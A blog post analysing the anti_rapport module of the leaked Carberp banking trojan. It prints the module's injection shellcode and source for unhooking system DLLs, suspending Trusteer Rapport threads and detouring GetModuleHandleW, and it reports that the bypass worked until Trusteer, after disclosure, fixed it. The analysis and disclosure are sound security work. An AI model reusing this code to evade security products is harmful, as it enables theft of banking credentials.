Carberp anti-rapport : Beating Trusteer protection


 

Introduction

 

Last week the Caberp source code has been leaked, and we got it. This was the occasion to analyse a nice piece of malware.

One of the multiple modules of Caberp is called anti_rapport, this is a module able to (in theory) inject itself in Internet Explorer”s memory to remove Trusteer rapport protection by unhooking API calls and suspend rapport”s threads. I will also forbid any thread related to rapport dll to get a handle on any module of the process.

 

Analysis

Here”s the global flow of the source code:

 

anti_rapport

 

The module is divided in 2 parts. The dropper (exe file) and the DLL. Both parts belong to the same file, but they are related to different parts in the flow.

 

Entry code:

 

BOOL Entry(HMODULE hDll, DWORD dwReasonForCall, DWORD dwReserved)
{
    BOOL bRet = FALSE;
    CHAR chExePath[MAX_PATH];
 
    GetModuleFileName(NULL, chExePath, RTL_NUMBER_OF(chExePath)-1);
 
    // Dll call -- Injector
    if (hDll && dwReasonForCall == DLL_PROCESS_ATTACH)
    {
        g_bDll = TRUE;
 
        UtiDPrint(__FUNCTION__"(): Dll: %x\\n", hDll);
 
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainThread, NULL, 0, NULL);
        if (hThread) CloseHandle(hThread);
 
        bRet = TRUE;
    }
    // Exe call -- Dropper
    else if (!g_bDll)
    {
        DbgPrint(__FUNCTION__"(): Exe: ''%s''\\n", chExePath);
 
        DropperExeWork(chExePath);
 
        ExitProcess(ERROR_SUCCESS);
    }
 
    return bRet;
}

 

Dropper

The dropper is responsible for copying itself to a temp file, then modify that copy to turns its characteristic flag into DLL. That way, it can be injected as module into processes. Once the DLL is ready, it reads iexplore.exe memory (Mapping) and copies a shellcode right after the Section headers of its loaded ntdll.dll module.

 

2013-06-28 09_13_33-anti_rapport (Débogage) - Microsoft Visual Studio

The Shellcode is basically only a LoadLibrary, which will trigger the Main routine of the injected DLL into the process”s context.

 

2013-06-28 10_46_03-WinHex

 

Shellcode:

 

// ShellCode
__declspec(naked) VOID injn_dllloader_start()
{
    __asm
    {
        mov eax,0x11111111          //pShellData->bLock (stored in process) in EAX
        xor cl,cl                   //clear CL flag
        cmp byte ptr [eax], cl      //if bLock = 0 => Exit
        jz exit_
        mov byte ptr [eax], cl      //Set bLock = cl = 0
        inc eax                     //move EAX ptr on pShellData->chDllName
        push eax                    //pShellData->chDllName on stack
        mov eax, 0x22222222         //LoadLibraryA addr in EAX
        call eax                    //Call LoadLibrary
exit_:
        mov eax, 0x33333333         //pShellData->ucOldBytes (stored in process) in EAX
        jmp eax                     //Jump to stolen bytes (old address of splicing)
    }
}
 
__declspec(naked) VOID injn_dllloader_end(){__asm __emit ''J''}
 
#define injn_dllloader_size (DWORD)injn_dllloader_end-(DWORD)injn_dllloader_start

 

Once the shellcode copied into loaded module, the dropper will rewrite the first few bytes of ZwClose (in ntdll) to jump to the shellcode (Splice). So at any attempt to ZwClose (which occurs quite often) from iexplore.exe, the DLL will be loaded in memory and trigger the main routine (in process”s context).

 

Dll injected into iexplore.exe:

 

2013-06-28 09_28_12-Program Manager

 

DLL

 

The DLL is responsible (once injected) for removing every hook made by a protection DLL, stop any thread from “rapport” DLL, and forbid “rapport” DLL to call GetModuleHandleW in kernel32.dll

 

  • Hook removal

To remove protection made by a security product into Internet Explorer, the anti_rapport will look for hooks in specific modules (ntdll.dll, kernel32.dll, mswsock.dll, ws2_32.dll, wsock32.dll, wininet.dll, user32.dll and gdi32.dll), and remove them.

To perform hook removal, the DLL will simply reload the DLL into another memory space, parse Export tables (one for the new loaded DLL and one for the existing one) and compare addresses. If some of them mismatches, it will restore to initial value.

 

VOID UnhookLibs()
{
    UnhookModuleExports(MyGetModuleBase("ntdll"));
    UnhookModuleExports(MyGetModuleBase("kernel32"));
    UnhookModuleExports(MyGetModuleBase("mswsock"));
    UnhookModuleExports(MyGetModuleBase("ws2_32"));
    UnhookModuleExports(MyGetModuleBase("wsock32"));
    UnhookModuleExports(MyGetModuleBase("wininet"));
    if (!GetModuleHandle("ieframe.dll")) UnhookModuleExports(MyGetModuleBase("user32.dll"));
    UnhookModuleExports(MyGetModuleBase("gdi32.dll"));
}

 

 

  • Stop rapport threads

To stop rapport threads, the module only enumerate process”s threads, then call NtQueryInformationThread with ThreadQuerySetWin32StartAddress value to get the threads”s entry point address, then it calls GetMappedFileName to get the module name related to the thread”s entry point.

That way it”s able to retrieve the module where a thread is based. To finish, it filters that name and calls ResumeThread only on those who are authorized to run (It has previously suspended the whole process with NtSuspendProcess)

 

BOOL AntiRapControlThreads(HANDLE hProcess, DWORD dwPid)
{
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
 
    HANDLE hThread;
    THREADENTRY32 thread = {0};
    thread.dwSize = sizeof(THREADENTRY32);
 
    if (Thread32First(hSnap, &thread))
    {
        do 
        {
            if (thread.th32OwnerProcessID == dwPid && thread.th32ThreadID != GetCurrentThreadId())
            {
                if (hThread = OpenThread(THREAD_SUSPEND_RESUME|THREAD_QUERY_INFORMATION, 0, thread.th32ThreadID))
                {
                    CHAR chFileName[MAX_PATH];
                    PVOID pvStartAddress;
                    DWORD dwLen;
 
                    if (NT_SUCCESS(NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &pvStartAddress, sizeof(PVOID), &dwLen)))
                    {
                        if (GetMappedFileName(hProcess, pvStartAddress, chFileName, RTL_NUMBER_OF(chFileName)-1))
                        {
                            if (!StrStrI(chFileName, "rapport"))
                            {
                                ResumeThread(hThread);
                            }
                        }
                    }
 
                    CloseHandle(hThread);
                }
            }
        } 
        while (Thread32Next(hSnap, &thread));
    }
 
    CloseHandle(hSnap);
 
    return TRUE;
}

 

  • GetModuleHandle splicing

To avoid Security products to access any part of the process, and be able to check for malicious hooks, the anti_rapport will detour GetModuleHandle API and filter any attempt to access a loaded module.

The hook is made with classic splicing, which consists to insert a JUMP at the beginning of the function (in memory). It”s way better than IAT hook (which replace the address of the function in IAT table) because not visible except if we scan lot of the process”s memory.

Here, the hook is not seen in TaskSTRun (But I know it”s here :) ):

 

2013-06-28 09_37_24----  [1460] iexplore  --- IAT OK

 

By loading the infected process into a debugger, and looking at the address (0x7C80E4DD) of the function (in ntdll), we can see the detour code:

 

2013-06-28 09_37_34-OllyDbg - iexplore.exe

 

2013-06-28 09_41_12-OllyDbg - iexplore.exe

 

That jump leads to the detour function, which looks like this:

 

2013-06-28 09_43_35-OllyDbg - iexplore.exe

 

HMODULE WINAPI NewGetModuleHandleW(LPWSTR lpModuleName)
{
    PVOID pvCallersAddress;
    PVOID pvCallersCaller;
 
    RtlGetCallersAddress(&pvCallersAddress, &pvCallersCaller);
 
    BOOL bPass = AntiRapCheckAddress(pvCallersAddress) || AntiRapCheckAddress(pvCallersCaller);
 
    if (bPass) return g_OldGetModuleHandleW(lpModuleName); else return NULL;
}
 
BOOL AntiRapCheckAddress(PVOID pvAddress)
{
    PLDR_DATA_TABLE_ENTRY pLdrEntry;
 
    if (NT_SUCCESS(LdrFindEntryForAddress(pvAddress, &pLdrEntry)))
    {
        if (StrStrIW(pLdrEntry->BaseDllName.Buffer, L"rapport"))
        {
            return FALSE;
        }
    }
 
    return TRUE;
}

 

It”s just getting the caller of the function and the caller of that caller (with RtlGetCallersAddress), and checks if one of them is coming from any “rapport” DLL. If this is the case, the function will return NULL (and thus will forbid that caller to get the needed handle), otherwise it returns the original function.

By doing this, a security product that needs to get a handle on a module to scan it (for signatures, or to check the IAT table) will be rejected and will not be able to scan it.

 

Conclusion

Do not forget that module is part of a huge malware, Carberp. This malware is able to steal bank informations by watching the web browser. One major problem for them was to go stealth and remain into that web browser, even with security products guarding it.

That module has clearly being developed to kill Trusteer rapport product, and keep their product functional and undetected.

Trusteer claims their product has resisted to this, so that”s a good point :) . However, even if the anti_rapport code contains hard-coded name about the rapport module of Trusteer, it”s quite generic and can be adapted for any security product that use wide DLL injection to guard web browsers.

 

UPDATE 07/22/2013

I’ve tested the module against Rapport, and it seems to be bypassed. I don’t know if it really protects or not, but every feature of the anti-rapport module has been loaded and is functional. I was able to inject the DLL into iexplore.exe (with rapport loaded), to hook GetModuleHandleW, and to filter DLL calls. Trusteer has been contacted, I hope they will either give me more information or fix this. This is severe issue, as this malware is in the wild for years, and now because the source code has been leaked and will be used in many new malwares. See screenshots below.

 

2013-07-16 11_37_14-Crédit Mutuel, LA banque à qui parler _ compte courant, crédits, épargne, assura

Trusteer rapport is loaded

 

2013-07-16 10_57_37----  [3224] iexplore  --- IAT OK

Anti rapport module is injected into iexplore.exe (rapport is loaded)

 

2013-07-16 11_22_38-OllyDbg - iexplore.exe - [CPU - thread 0000148C, module 377]

Rapport DLL calls are filtered out by the anti-rapport module and cannot access to process’ modules handles

UPDATE 07/25/2013

Trusteer, after a fast reply told me they had fixed it. So I updated their software, and retried start the anti-rapport binary.

Now, the module is able to inject itself in Internet Explorer, and splice the API, but it seems unable to resume some useful threads, related to core application. As a consequence, Internet Explorer behaves like it was hanging, and does not responds anymore. This is really better, for several reasons.

  1. The user is alerted that something is going wrong, and can maybe query some help on support forums.
  2. The user is unable to start banking sessions, and thus the malware cannot grab its informations.

I would like to thanks Trusteer for their quick answer and fix, and for their valuable support guys.

Leave a Reply